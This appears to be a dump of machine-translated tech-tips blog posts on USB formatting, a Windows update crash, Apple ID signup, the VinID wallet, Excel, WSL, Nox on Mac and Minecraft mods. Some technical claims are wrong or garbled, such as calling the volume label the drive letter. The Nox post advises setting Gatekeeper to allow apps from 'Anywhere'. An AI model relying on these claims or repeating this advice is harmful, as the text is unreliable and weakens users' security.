be formatted.\n  However, before proceeding with the format, you will want to understand what each of these options really means. So let's go through them one by one.\nWhich file system to choose? In Windows 10, you will see up to 4 different file systems: FAT, FAT32, NTFS, and exFAT. You will not see FAT and FAT32 if your drive is larger than 32GB. So what's the difference between those file systems and which should you choose? Consider the benefits of each.\nNTFS vs. FAT \u0026amp; FAT32 Read / write files larger than 4GB and up to maximum partition size Create partitions larger than 32GB Compress files and save disk space Better space management = less fragmentation Allows more clusters on large drives = less wasted space Add user permissions to individual files and folders (Windows Professional) Encrypt files quickly using EFS (Encrypting File System; Windows Professional) FAT \u0026amp; FAT32 compared to NTFS Compatible with almost all operating systems It takes up less space on USB Less write to drive = faster and uses less memory ExFAT vs. FAT \u0026amp; FAT32 Read / write files larger than 4GB Create drive partitions larger than 32GB Better space management = less fragmentation By nature, FAT or better is FAT32 suitable for drives smaller than 32GB and in environments where you never need to store files larger than 2 or 4GB respectively. In other words, any regular sized hard drive (60GB +) should be formatted using NTFS.\nHowever, due to the way NTFS works, it is not recommended for flash drives, even if they are larger than 32GB. This is where exFAT comes into play. It combines the benefits of FAT (small, fast) and NTFS (supports large file sizes) in a perfect way for flash drives.\nRemember that FAT and FAT32 are the only file system compatible with multiple platforms. NTFS is supported in Linux, but it requires a trick or a third-party application to work on the Mac. On the other hand, exFAT is supported on OS X 10.6 (Snow Leopard), but you need a driver to read it on Linux.\nIf for compatibility or speed reasons you want to use FAT or FAT32, always use FAT32, unless you are using a 2GB or smaller device.\nWhich Allocation Unit Size works best? Hard drives are organized into clusters and Allocation Unit Size describes the size of a single cluster. The file system records the state of each cluster, ie empty or occupied. When a file or part of the file is written to a cluster, that cluster is occupied, even with space remaining.\nTherefore, larger clusters may have wasted space. However, with smaller clusters, the drive becomes slower because each file is divided into small pieces and it takes longer to gather all of them together as the file is accessed.\nHence, the optimal Allocation Unit Size depends on what you want to do with your USB drive. If you want to store large files on that drive, the larger cluster size is better because the drive will be faster. However, if you want to store small files or run some programs from your flash drive, the smaller cluster size will help save space.\nGeneral rules:\nLarge and / or large files = Large Allocation Unit Size (and vice versa)\nFor 500MB USB, choose 512 bytes (FAT32) or 32 kilobytes (FAT). On a 1TB external hard drive, choose 64 kilobytes (NTFS).\nWhat is the volume label? The volume label is the drive letter. It is optional and you can basically name your drive whatever you want.\nNTFS Up to 32 characters No tabs Both upper and lower case characters can be displayed FAT Maximum 11 characters None of the following characters: *? . ,; : / | + = [] No tabs Will be displayed as all uppercase letters You can use spaces, regardless of the file system.\nWhat format options are recommended? The full format deletes the file logs and scans the drive for bad sectors. The Quick Format option skips the scan, making it a lot faster. If you're working on a new drive or have no problems, have no intention of putting important data in it, or are pressed for time, choose Quick Format. Otherwise, remove the check mark.\nNote : There is no option to actually overwrite or delete files. Both only delete the disk's index file, ie the Master File Table (MTF). If you want to securely and permanently erase the data on your USB drive, formatting won't help. You will have to overwrite the files with a tool like DBAN.\nIf you found this article helpful, you may also want to know how to fix the 'Write Protection' on a USB flash drive or reformat the external hard drive without losing data. And if you need a new USB flash drive, these are the fastest USB flash drives you can buy.\nUSB format how to format USB ncG1vNJzZmismaXArq3KnmWcp51kxKnFjKecnpxdqbxuss6rpJqsXam1pnnUrJlmraOXeqe70aaYrWWcnrim\n","link":"/post/why-need-to-format-the-usb-usb-format-like/","section":"post","tags":null,"title":"Why need to format the USB? USB format like?"},{"body":"Specifically, the Windows 10 KB5000802 update causes crashes when the user opens the printable table in Notepad, Office or some other software. The blue screen error appears with the error code 'APC_INDEX_MISMATCH for win32kfull.sys'.\n  Most importantly, almost all versions of Windows 10 are affected by this error, including version 20H2, version 2004, version 1909, even version 1803/1809 confirmed to have a blue screen error. These are all affected by the March 2021 updates.\nMicrosoft also noted that the 'APC_INDEX_MISMATCH' error occurred on certain printers, the user reported the error was from Kyocera Ricoh and some other printers.\nTo fix the above problem, users can update to the latest Windows, by going to Settings\u0026gt; Update \u0026amp; Security\u0026gt; Windows Update\u0026gt; View Update History\u0026gt; Uninstall Updates\u0026gt; Uninstall KB5000802 / KB5000808 or manually removing the patch. when opening Command Prompt.\nblue screen error ncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGWYlsBusc2cpq6mpJq%2FprCMrZ%2BeZZKhwqZ50pypnp2eYrynecOemK2g\n","link":"/post/windows-10-has-encountered-the-blue-screen-of-death/","section":"post","tags":null,"title":"Windows 10 has encountered the 'blue' screen of death"},{"body":"Another spring has come, you want to bring a new wind to your laptop screen, as well as changing the atmosphere to help you work more effectively, use immediately the theme of \"natural colors\" \", the set with the majestic scenery of the mountains, the fresh waterfalls, the colorful forest of autumn or simply the grass to catch the morning mist . will help your desktop to be changed, Helping you get a space close to nature and sometimes create a feeling of relaxation and comfort after a long time working on the computer.\nIf you are a nature lover or love beautiful scenery, you will not be able to ignore the collection of high quality wallpapers that we collect below.\nAfter downloading this wallpaper set, you can use the tips introduced by TipsMake.com to automatically change the wallpaper on the desktop, making the most of the beautiful images in this wallpaper set.\nHere are some photos that we took from the collection for your reference, let's admire and immerse in the natural scenery.\nFacebook cover photo greeting Spring Mau Tu Spring 2018 Collection of the best peach blossom flower wallpapers for computers Collection of 2018 Tuoi Spring wallpaper for computers                                         Readers can download high quality HD images here.\nSee more:\nSet of adorable dogs wallpapers for computers 30+ beautiful black dark wallpapers for phones, OLED screens ncG1vNJzZmismaXArq3KnmWcp51kqKW71qejqJmUknqku8ulnJysmaS7brvFZp2upJxitaV51pqjpaiRpbKzv4yfpqtlnJa9tbvPrGSnmaSqv6K4jKWYp5yjmK6xsYytn56llQ%3D%3D\n","link":"/post/download-collection-of-full-hd-wallpapers-for-laptops-natural-landscape-theme/","section":"post","tags":null,"title":"[Download] Collection of full HD wallpapers for laptops, natural landscape theme"},{"body":"The brand \"Apple bite bad\" still confirms its position in the market today, when continuously launching new product lines with beautiful designs, especially its high security capability. Besides, the system is also continuously improved, upgraded operating system for iPhone / iPad to iOS 9 with new features to serve the needs of users.\nTo download applications, games on Apple Store you need to have Apple ID . After successfully creating an Apple ID account, users can freely select, search and download any applications, games or management utilities on the Apple Store. In this article, Network Administrator will guide you to read step-by-step details of creating an Apple ID account on your computer so you can use it. Currently, how to register an Apple ID account via Apple's home page is considered the fastest and most convenient.\n29 tips iPhone users need to know Things to know before upgrading to iOS 9 Hidden features on iOS 9 are less known To create an Apple ID account, follow these steps:\nStep 1: Still visit the Apple account registration page here.\nStep 2: Fill in your name, birth date, email, password into the form\nNote, you need to use an active Gmail account, or you can create a new Gmail to register your Apple ID. Password needs to be more than 8 characters, including both letters and lowercase letters, with at least 1 number in the password. Apple will determine the strength of the password security you use. Avoid using easy-to-guess or used passwords with other websites.\n  Step 3: Fill in the security question as required, the answers to the security questions must be different.\n  Step 4: Select Vietnam Country\u0026gt; Enter the characters in the picture into the frame\u0026gt; select Continue\n  Step 5: Access the registered email to get the verification code sent by Apple\n6-digit verification code. In case you do not receive the email to send the code, you can check in Spam, wait a few minutes or request a new code.\nStep 6: Return to the registration page, enter the verification code, click Verify to complete the Apple ID account registration process.\n  The interface after successful registration will be as shown below:\n  Users can edit their account information when clicking Edit at Account : change new email address to make Apple ID, username, add contact email, .\n  To exit the Apple ID account click on Logout .\n  The registration process for an Apple ID account is completed on the computer. In addition to increasing security, users should also register their iCloud account and protect their iCloud account from being stolen.\nRefer to the following articles:\nThings to know when backing up with iCloud How to transfer data from old iPhone to iPhone 6/6 Plus Transfer data from Android to iPhone very easily I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZpmeYq6xvMueZKKcXaeyqLXSrZyrZZGjeqK8z6WcZqGUYq6kr86upa1llqS%2FbrjErKpmrJiWu25%2FjKagp62kmsA%3D\n","link":"/post/create-an-apple-id-register-an-apple-id-account-for-less-than-3-minutes/","section":"post","tags":null,"title":"Create an Apple ID, register an Apple ID account for less than 3 minutes"},{"body":" download videos ok.ru | TipsMake.com    ok.ru is a popular video site like youtube, so how to download videos on ok.ru?   ok.ru is a popular video site like youtube, so how to download videos on ok.ru?   ncG1vNJzZmismaXArq3KnmWcp51kwaKz0mibqK%2BeobyisIyvoJ2dn6h6sLfRrmWhrJ2h\n","link":"/post/download-videos-ok-ru-tipsmake-com/","section":"post","tags":null,"title":"download videos ok.ru | TipsMake.com"},{"body":"Currently, users can activate VinID e-wallet on VinID application and link with most banks in Vietnam today. After linking a bank account, you can top up an electronic wallet like on Momo, Moca or GrabPay wallets. However, if you want to withdraw money, you must associate with Military Bank.\nWith the participation of VinID e-wallet, the competition will be more exciting when there are a series of e-wallets of big companies such as Momo, Zalo Pay, Viettel Pay, GrabPay by Moca . active. Instructions on linking VinID e-wallet and depositing money into VinID e-wallet can be found below this article.\n4 e-wallets with the least fee collection in Vietnam Instruction to top up your phone with MOMO wallet How to register for VTC Pay e-wallet How to open a VinID wallet Download VinID for Android Download VinID for iOS Step 1: Firstly log into your VinID account on your phone. In the main interface, click Create wallet \u0026gt; then confirm your name and select Activate Wallet .\n   Step 2: Next you will select the bank that VinID supports, select the bank you are using and click Link Now .\n   Step 3: Next, enter the bank card information you are using and click Link . Next, VinID will send to the phone number associated with your bank account an OTP code. Enter that OTP code and click Validate .\n   Finally, if you see the message Successful bank link with your card information at the bottom is that you have linked your bank account with VinID e-wallet.\n  Instruction to top up VinID wallet When you have finished linking your bank account to VinID e-wallet, you will need to top up VinID wallet to be able to use the service and pay for VinID's services.\nClick My Wallet below and select Deposit\u0026gt; then choose the available top up from 100,000 - 1,000,000 VND. Or choose Enter another number below and enter the amount you want to deposit.\n   When you have selected the amount you want to deposit into your wallet, click Deposit to confirm the deposit into VinID e-wallet. Soon you will have a balance in your VinID e-wallet.\n   So, with the instructions to link VinID electronic wallet to bank account and how to top up VinID wallet above. You can use the services and pay for Vin ID's services most conveniently.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmTqba3rdOeZK%2Bhnp6xbsPApaOerF2Wu6V50Z6aoZminLJuwsinZK%2BhnmLEorjLnqs%3D\n","link":"/post/how-to-activate-vinid-wallet-and-recharge-vin-vin-wallet/","section":"post","tags":null,"title":"How to activate VinID wallet and recharge Vin Vin wallet"},{"body":"Working in Excel, there will be times when you will encounter an Excel file that has short or long content, even very long and takes up more than a page of paper when you print. Therefore, if you do normal Excel printing, you will print to 2 pages or even more than 2 pages, which may cause difficulties in tracking or not guarantee the saving factor. At this point, it is necessary and important that you need to align the printed page in Excel so that it is suitable, most reasonable, it will be fine.\nAlign printed pages in Excel To be able to print files in Excel to fit the paper size while ensuring aesthetics, there are a variety of alignment options that can help you do this. In this article, we have selected the best alignments applied by various Excel users with success.\n1. Switch Portrait Print to Landscape and vice versa\nNormally, by default, the Excel spreadsheets will be in portrait mode, so when you print on an A4 page, depending on the content in the Excel spreadsheet to choose the most suitable printing mode, it will be the solution. that you should think of.\nTo be able to switch portrait to landscape printing, just click on the Page Layout tab -\u0026gt; then navigate to Orientation -\u0026gt; and switch to Portrait to Landscape.\n  2. Use the Page Break feature in Excel\nIf your Excel file is too long, you can also page break (Page Break) to control the content or gather necessary content in one page, while the page breaks will merge with other content.\nTo use the Page Break feature, you just need to go to Page Layout -\u0026gt; then choose Breaks -\u0026gt; choose Insert page Break for Excel to automatically divide it for you.\n  3. Selecting Print Area in Excel\nIn addition to printing in the normal way, you can also use the regional printing selection in Excel. With this type of print area selection, you are completely proactive in printing where you want to print.\nTo select the printing area in Excel, highlight the area you want to print -\u0026gt; go to Page Layout -\u0026gt; then select Print Area -\u0026gt; then click Set Print Area.\n  4. Re-align the Paper Size\nWhen you re-align the page size, it will help you make the most of the extra space that Excel has set by default.\nTo re-align the paper page size, in Page Setup -\u0026gt; you select the tab Margins -\u0026gt; here, you can reset the page size through right alignment (right), left alignment (left).\n  5. Reset The Size Of Table\nYou can also reset the size of the table to best fit in the Page Setup. In Page Setup, navigate to Page -\u0026gt; click on Fit to -\u0026gt; then enter the number on the page wide by and tall.\nSuppose you need to set up to copy to fit on A4 page -\u0026gt; then at page wide by you enter 1\nand at tall you enter the number 0 (see picture below).\n  The above article has just introduced and instructed you some good ways to align the printed page in Excel to the best standard and right according to the wishes of the user. ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmcnrSvec%2BroKeslZl6sa3GnqpmoZ5isrmvxKU%3D\n","link":"/post/how-to-align-printed-pages-in-excel/","section":"post","tags":null,"title":"How to align printed pages in Excel"},{"body":" This wikiHow teaches you how to change the appearance of some of your Windows 7 computer's on-screen text. Although you can't change all of Windows 7's fonts, you can alter some of them from within the Personalize menu. Right-click the...\n Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55llJqzosHLrWSfp56perC6jLCgp5yfrMBugw%3D%3D\n","link":"/post/how-to-change-the-default-font-on-windows-7/","section":"post","tags":null,"title":"How to Change the Default Font on Windows 7"},{"body":"Install software on a Mac other than installing software on Windows. So, when you first install and launch Nox App Player on a Mac, you need to do the following to make sure the application is working properly. This way also fixes errors that run up to 99%, then stop.\nPlay Android game on PC using NoxPlayer (Nox App Player) 1. The first time you open the App Nox Player (or any downloaded application), you will see a warning. Agree to open the file and the warning will not appear again. You should also check 'Don't warn me when opening application on this disk image' .\n  2. Then when the Nox App Player for Mac version starts, you will see the message box below asking for a password. This is because the Nox version on Mac needs VirtualBox installed. Please enter your password and click OK . If you do not see this message box the first time you start, there may be a problem installing Nox. Try reinstalling Nox. Another possibility is that you already have another VirtualBox version on your Mac. The version of Nox you are installing is the best version of Mac Nox, you should uninstall the current version of VirtualBox and restart the Nox to be able to install the most compatible version.\n  3. You can also see the following warning when starting the Nox version for Mac for the first time. Mac Nox is a safe software that you can completely trust. Therefore, open the System Preferences window , click the Apple icon in the top left corner of the screen or click the System Preferences icon on the dock and click on the Security \u0026amp; Privacy icon. Click on the lock icon, enter your password and set the 'Allow apps downloaded from' option to 'Anywhere' or click the 'Open Anyway' button to bypass the Gatekeeper in the Mac.\n  I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqmvtGoqaxlpJ2utXnDqGSnp6RiwLWt0a1kqKpdp8KvedSpZK2nXW6GbsPIpaNmq6SkvW67zWaroZ1do7y5ecCpp2aonJbGpr6Mr5yrq5mku26yzqtkppmT\n","link":"/post/how-to-fix-errors-that-do-not-start-or-run-up-to-99-will-stop-on-the-nox-app-player-version-for-mac/","section":"post","tags":null,"title":"How to fix errors that do not start or run up to 99% will stop on the Nox App Player version for Mac"},{"body":"The Android smartphone always has volume keys. The above key is used to increase the volume, whereas the key below is used to reduce the volume down. These keys are essentially micro-switches made of metal. When used a lot, these metal keys will wear down and no longer work properly.\nIf the volume keys on your Android phone are broken, you can still adjust the volume up or down using the virtual sound key set in the Virtual Volume Key application . The application displays volume keys right on the phone screen, so you can increase or decrease the volume by touching the virtual buttons on the screen.\n   \nTo use the Virtual Volume Key application, you need to install and turn it on. Immediately these volume keys will appear on the screen. You can move these keys anywhere on the screen. When you release your hand, these keys will fade and be attached to one side of the screen. The opacity of the volume keys depends on the \" diaphaneity \" value of the application. In addition, you can adjust the time for audio keys to be attached to the edge of the screen with ' waite time ' value.\nThese virtual volume keys work exactly like physical volume keys. It is a great choice when the metal volume keys are damaged or worn due to heavy use and for a long time. You can also use the application to protect the audio keys on your phone.\nYou can download the Virtual Volume Key application for Android here: https://play.google.com/store/apps/details?id=com.lighttea.volumekey\n5 tips to improve sound quality on Android phones without Root Applications to watch movies online on the phone How to convert to Mono audio on Android phones How to fix the game playing error is escaping on Android ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGemL%2BmrdKeZKiqXZmypL7EmqqeZaSdsm7CzqWspp1dpLturc2dqaihlGLEqbHNZquhnV2rvK3BzJ5knKeeqb%2BwuIybrK2sn6N6qr%2BMm6moo5Wj\n","link":"/post/how-to-increase-or-decrease-the-volume-on-android-when-the-volume-control-button-is-broken/","section":"post","tags":null,"title":"How to increase or decrease the volume on Android when the volume control button is broken"},{"body":" Giving a title to a work of art can be a very complicated process, as it reveals another layer of meaning for the artwork. Conveying the right sense in the right combination of words can be difficult. There is no tried-and-true method of...\nPart 1of 4:\nBrainstorming Ideas and Themes  Make a list of themes central to the artwork. Brainstorm a list of ideas that reflect what your artwork is about. It can be simple, such as 'trees' or 'girl,' but it can also be thematic or subconscious, such as 'friendship' or 'childhood.' Think about what the meaning of the artwork is, and how the title can convey that meaning.\n  Identify your motivation behind the artwork. What drove you to create this piece of art? Reflect on your feelings about this artwork and what you'd like to share with your audience. How does the artwork make you feel? Identify the story you want to tell.\n  Pinpoint the artwork's focal point. With artwork, there are certain areas of the piece that the artist wants the audience to see first or to pay the most attention to. Think about the focal point of your artwork. What do you want people to focus on when they observe your artwork? Naming your artwork after the focal point can help people understand your artwork better.[1] Johannes Vermeer's 'Girl with a Pearl Earring' draws attention to the small jewel in the ear of the subject.[2]   Consider what audiences need to know. Oftentimes, titles help audiences understand what they're looking at. Titles can give tools to the audience to know how to interpret the piece. What do you want audiences to know about your artwork?[3] Do you want your title to direct the viewer towards a particular interpretation? For example, a work of art of a dog sitting on a beach can be interpreted in a number of ways. But if you title the picture, 'Abandoned,' the viewer will assume that the dog has been abandoned on the beach. If you title the picture, 'Best Friend,' people will react differently to the dog's presence. Some artists prefer not to tell the meaning of their artwork, deliberately leaving the title ambiguous.   Make the title meaningful for yourself. No matter your reasoning for choosing a particular title, make it meaningful for you. You are, after all, the artist, and the artwork is made primarily for yourself. Some artists like to have titles that convey certain meanings so that they remember certain details about the process of making the artwork, what inspired the artwork, and so on. Frida Kahlo titled one painting, 'I Belong to My Owner,' during a tumultuous affair with exiled communist Leo Trotsky. The painting of wild flowers in a vase symbolizes her overwhelming love for Trotsky coupled with her need to remove herself from this affair.[4]  Score\n0 / 0\nWhen you want the audience to know something about your artwork. Not quite! If you want the audience to know something about your artwork, think of what you want them to know, and how you can create a title that would lead the reader to that interpretation. For example, a dark room can be interpreted as lonely, but it can also be interpreted as peaceful. Depending on what interpretation you want, modify your title accordingly. Click on another answer to find the right one...\nWhen you want to make the audience understand your motivation. Not exactly. If you want the audience to understand the motivation behind a particular piece of art, think about how the artwork makes you feel. What kind of story do you want to tell? Once you've thought this through, you can create a title that reflects that motivation! Choose another answer!\nWhen you want to draw the viewer's attention to an area of the piece. Correct! If there's a small detail in your artwork that you think is the most important part, highlight that detail in your title. For a famous example of such a title, look to Pieter Bruegel the Elder's painting \"Landscape with the Fall of Icarus.\" Read on for another quiz question.\nWant more quizzes?\nKeep testing yourself! Part 2of 4:\nFinding Inspiration  Look for inspiration in poems or quotes. Using parts of your favorite poem or quote can be an interesting and suitable title for your artwork. Similarly, you could choose a passage from a book. These should not, however, be too lengthy. Choose something that is a short phrase. Also, choose something that adds to the artwork's meaning, not something completely random that doesn't mean anything. There shouldn't be copyright issues with this approach unless you are using a lengthy quote. If you have just a few words from a poem or book and you are appropriating it in a new way, this would likely be protected by fair use guidelines.[5] Pam Farrell titled her painting, 'Seasick Sailor,' which were words that she heard in song by both Beck and Bob Dylan. David White used titles of books and movies such as 'The Man Who Knew Too Much' and 'The Man Who Would Be King' and repurposed them into titles for a series of paintings. One of his paintings is, 'The Man Who Was Tired of Perpetual War,' naming the action after the character in his painting.[6]   Ask for suggestions. Talk with family, friends, or other artists to get suggestions on a good title. They may have some interesting or inspirational ideas that you hadn't thought of. Alternately, throw a 'titling party' with other artists or friends. Throw a party and display the artwork. Ask everyone to give suggestions for a title. Some titling parties demand that all guests stay until suggestions are made and a title is chosen. Painter Jackson Pollock would often only number his paintings, such as 'Number 27, 1950,' but the art critic Clement Greenberg would give the paintings poetic names, such as 'Lavender Mist' or 'Alchemy,' in order to differentiate among them.[7]   Pay homage to an artistic influence. If your artwork or artistic style is particularly influenced by a certain piece of art or artist, you could consider naming your work after that. Paying homage to your influences can be a good source for artwork titles. Andy Warhol created a series of pop culture-infused paintings called, 'The Last Supper,' as reinterpretations of Leonardo da Vinci's 'The Last Supper.'[8]   Look at titles of other works of art. Observe how other artists name their works of art. Read the story behind why a particular artwork was given its name. Read titles for different types of artwork, from classical paintings and modern drawings to sculptures and video art.\n Score\n0 / 0\nTrue Yes! If you're having trouble coming up with a name for your artwork on your own, you can ask friends and family what they think you should title it. Alternatively, if you're friends with artists who are struggling with the same problem, consider throwing a titling party so you can all help each other! Read on for another quiz question.\nFalse Not quite! While you can definitely come up with a title for your art piece on your own, if you're stuck or need inspiration, you can also ask friends, family, or other artists for help! Choose another answer!\nWant more quizzes?\nKeep testing yourself! Part 3of 4:\nChoosing the Wording of a Title  Look for synonyms of words. Your title might revolve around a particular theme or topic, but you might not like the word choices. Look up key words in a thesaurus to come up with alternate words that mean the same thing.[9]\n  Add descriptive words. You might have a few key words that describe the theme you want to convey. Adding descriptive words can give more dimension to your title. Think of adjectives or adverbs that might work to enhance your title. Georgia O'Keeffe titled one painting, \"Calla Lily Turned Away,\" giving more description to the floral subject of her work. Mary Cassatt named one painting, \"Mrs. Duffee Seated on a Striped Sofa, Reading,\" expanding on the most obvious subject to include more details of the painting.   Try different combinations. Switch around the words that you've chosen to see how they flow together. Putting the words in a different order can shift the meaning slightly, or it can make it easier to say. Say the words out loud to hear how they sound together.   Choose a purely descriptive title. Instead of delving into a complex naming process, consider giving your artwork a very simple title that describes exactly what is in the artwork. This could be something like 'Wooden Table with Fruit Bowl,' 'Red Ball,' or 'Girl Swinging.' Emily Carr titled many of her paintings simply, such as 'Breton Church' and 'Big Raven.'[10] Claude Monet's \"Still Life: Apples and Grapes' is a still life painting of a table with fruit.[11]   Translate a title into another language. Key words that reflect the topic or theme of your artwork might resonate better in another language. Choose a few words and try them in another language. Make sure you spell the words right in the other language. Double check any accents or other required markings for your words. Missing these markings can potentially mean altering the entire meaning of a given word. Try to find someone who speaks that language. Run your title by them to make sure it doesn't carry unwanted connotations.  Score\n0 / 0\nUse a spell-checker. Not quite! You should definitely use a spell checker, especially if you don't speak the language, but there are other things you should do to make sure your title is properly worded and phrased. Click on another answer to find the right one...\nDouble check any accents or markings. Close! Missing any accents or markings could change the meanings of your words, which you definitely don't want. However, even with the right accents and markings, there are still other things you need to do in order to make sure your title is correct! Choose another answer!\nRun the title by someone who speaks the language. Almost! If you know someone who speaks or reads the language, you should try running the title by them in order to make sure you're not using words that carry any strange or unwanted connotations. However, even a fluent speaker might miss some obvious things, like spell checking and accent marks! Guess again!\nAll of the above. Correct! If you want to write a title in a different language, make sure you check the title with a spell-checker, confirm you've nailed all of the accents and markings, and run it by a fluent speaker in order to identify any unwanted connotations! Read on for another quiz question.\nWant more quizzes?\nKeep testing yourself! Part 4of 4:\nFinalizing Your Title  See if there are other works of art with the same name. The goal with titling your artwork is to make sure it stands apart from other works of art. If it has the same name as another piece of artwork – especially something well-known – that can unintentionally link your art to someone else's, risking confusion, misinterpretation or just basic lack of originality. Search online for your title and see what you find.   Ask others for their impression of your title. Your title might mean one thing to you but something entirely different to another person. Getting first reactions and feedback on your title can be a good way to understand how it will be received. Consider if your title is ambiguous or if it can be interpreted in different ways.   Check your spelling. Unless it's deliberate, don't send your artwork out into the world with any misspelled word in the title. Your error can make you look less professional or serious as an artist. Similarly, double check grammar, especially if your title is longer than a phrase.[12]\n  Make the title work for you. While you might title a piece of art to give it additional meaning, you may also title a piece of art so that you can promote yourself as an artist. Forgo the 'Untitled' title, and instead strive to have a distinguishable work of art. This can potentially even add value to your artwork.[13] For paintings in a series, you might name them sequentially (such as 'Blue Fence #1,' 'Blue Fence #2,' and so on). They may be hard to keep track of, however. Go for different titles and help yourself keep track of individual works. Reviewers, critics and collectors can reference your work more accurately with a specific title. If you call all your pieces 'Untitled,' it will quickly get confusing as to which piece is being referred to. Having a unique title will make it easier for people searching online for your work to find you.[14]   Make sure the title accompanies your artwork. If you plan to circulate your artwork at all, make sure the title of the piece goes with the artwork. Write it on the back of the actual piece of art.[15] If you post your artwork online, make sure your title appears with the artwork. This can improve your online profile by making your artwork easier to find.  Score\n0 / 0\nUntitled Not quite. Titling a painting \"Untitled\" can lead to general confusion, especially if you have multiple \"Untitled\" paintings in one series or even in your artist's portfolio. Remember, you want both audiences and critics to be able to refer to your paintings easily, and there are too many \"Untitled\" paintings out there for that to be the case. There's a better option out there!\nFlower in the sun. Correct! A descriptive, original title is a great choice for a painting, especially one in a series.You might have other paintings in your series titled \"Flower in the shade\" and \"Girl picking flower.\" Read on for another quiz question.\nAlmond Blossoms. Nope! On the surface, there's nothing wrong with this title. However, a quick Google search will tell you this is actually the title of a painting by Vincent van Gogh! You can, of course, still use this as the title of your painting, but you should be prepared for confusion from your audience. Click on another answer to find the right one...\nWant more quizzes?\nKeep testing yourself!  Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyZqbmmediorKtlp6S%2FrHnOn2SaqqQ%3D\n","link":"/post/how-to-title-your-work-of-art/","section":"post","tags":null,"title":"How to Title Your Work of Art"},{"body":"Unlike Google Sheets, which automatically saves data according to the input operation, with Excel we will have to manually save it to a folder on the computer. If you are using Microsoft 365 version, you can set up the mode to automatically save Excel files to your OneDrive account. Then we will not worry about losing the content we just entered in the Excel data table. The following article will guide you how to automatically save files to OneDrive.\nInstructions to save Excel files automatically to OneDrive Step 1:\nAt the interface on Excel, click File in the top left corner and then click New .\n  Step 2:\nNext we click on the empty Excel file next to it or click right on the Excel file shown below to open the Excel file.\n  Step 3:\nLooking to the top will see the AutoSave feature is off. Please turn this button to On mode to enable automatic saving of Excel files.\n  Step 4:\nNow display the interface asking where you want to set up the mode to automatically save files, we click on the OneDrive storage service . Finally, enter a name for the Excel document .\nSo when working on Excel, the content is automatically saved.\n  Step 5:\nIn case you want to change back to the file storage folder in OneDrive without trying to save it to a default folder, we click on File , select Save a Copy and then select OneDrive .\n  Step 6:\nNow display the new interface, click New Folder to create a new file storage folder in OneDrive.\n  After creating the folder, click on the folder and then select Save to save the Excel file to this folder.\nThen we will return to the interface to work with the Excel file. You click on the file name at the top and you will see the folder to save the new file that you just set up.\nGood luck.\nautomatically save Excel files to OneDrive ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F05qjpZmknryvedKtnKmrXam8bq3UraammaSesKK4y7JkrJmmmnqmxMKeo2aemaGytHnTqGSoppWZv6rCxA%3D%3D\n","link":"/post/installation-steps-to-automatically-save-excel-files-to-onedrive/","section":"post","tags":null,"title":"Installation steps to automatically save Excel files to OneDrive"},{"body":"Microsoft has released a tool for anyone who likes Linux to use Linux kernel versions running on Windows Subsystem for Linux (WSL), a component of Windows 10 that allows Linux to run on Windows 10 PC.\nEarlier, Microsoft officially released the image file (image file) of Ubuntu, SUSE, Kali Linux and Debian on the Windows Store store. But even so, the OS manufacturer still has not enough time and resources to transfer all Linux kernels to run on WSL. There are too many Linux versions and most are created for their own purposes.\nWSL DistroLauncher Sample is available on GitHub Therefore, Microsoft decided to turn into open source project called WSL DistroLauncher Sample, containing reference implementations to bring Linux OS to Windows 10 WSL.\nThe result of using WSL DistroLauncher Sample is that there will be a UWP application running Linux via WSL of Windows 10. The instructions needed to use this new tool are in the project's README file on GitHub.\n  Running Linux on Windows 10 can help many people\nMicrosoft hopes to have more Linux kernels on the Windows Store Not just for the Linux kernel, this project is also geared towards independent developers. The Linux kernel team can create the official WSL package and distribute it via the Windows Store, and developers can run these Linux versions on their machines.\nTo avoid creating and uploading Linux versions that they do not own, Microsoft said the Windows Store will only accept WSL image files from official kernel development teams.\nHere is the link to this project on GitHub https://github.com/Microsoft/WSL-DistroLauncher\nSee more:\nThe Linux Foundation announced the release of ACRN - an open source virtual machine project for IoT devices Instructions for installing Kali Linux on Windows 10 are easier than ever Kali Linux is available on the Windows Store but is flagged by Windows Defender ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYr%2BmuMSaqp6cXZZ6tbvOpWStp12nwq95wKewZq6Vp8Cqu81mpp9lnJ67tsSMqKVmr5mjsbDD0mZoaQ%3D%3D\n","link":"/post/microsoft-released-a-tool-to-run-any-version-of-linux-on-windows-10/","section":"post","tags":null,"title":"Microsoft released a tool to run any version of Linux on Windows 10"},{"body":"Currently, the number of Mod Minecraft is so much that it will make it difficult for you to find the best, both good and stable ones that do not contain harmful agents. Here, ThuThuanPhucSoft Software.vn will help you synthesize the best Minecraft Mod . Please refer!\n  Optifine  \u0026nbsp;\nOptifine is a graphics improvement mod, so if you have a PC rig, then you should try it. Optifine will make the details in the game sharper, add more high quality effects and other advanced options.\nIf you are not confident about the performance of your computer, use Fastcraft to make the experience of using the most optimal mod.\nJourneymap  \u0026nbsp;\nJouneymap provides a beautiful world map automatically recorded during your gaming. This map will help you no longer get lost on the journey, but also has the ability to mark the destination and signal mob around.\nThis Minecraft mod is an indispensable tool for those who love exploring.\nChest Transporter  \u0026nbsp;\nWhat would you do if you wanted to move a chest?\nRemove everything from the chest Put the item in another chest or drop it on the ground Destroy the empty chest Put the chest back in the new position Pick up the previous items and leave them inside Really too cumbersome right?\nChest Transporter allows you to pick and move chests, even if they contain the top of the inventory. This is a basic mod but it is very useful, instead of having to take 5 steps to take time, you only need to perform 2 steps to break the chest and reposition it.\nHere's What You're Looking At  \u0026nbsp;\nYou just need to point your mouse at any block and its information will appear before your eyes. This feature is useful when you have installed too many mods and do not know which block belongs to which mod. Items that can be scanned include blocks, items, and creatures.\nIn addition to the item's name, the mod can also display the content of the chest, the progress of the item being processed in the furnace, .\nAdvanced Rocketry   Advanced Rocketry is a mod aimed at experienced players who have surpassed everything that Minecraft has to offer. You will have the ability to build rocket launch systems.\nDon't stop there, after launching a rocket, you can build a space station and explore new lands.\nMinecraft Comes Alive  \u0026nbsp;\nThis Minecraft mod is an overhaul step for the village in Minecraft. Villagers will be 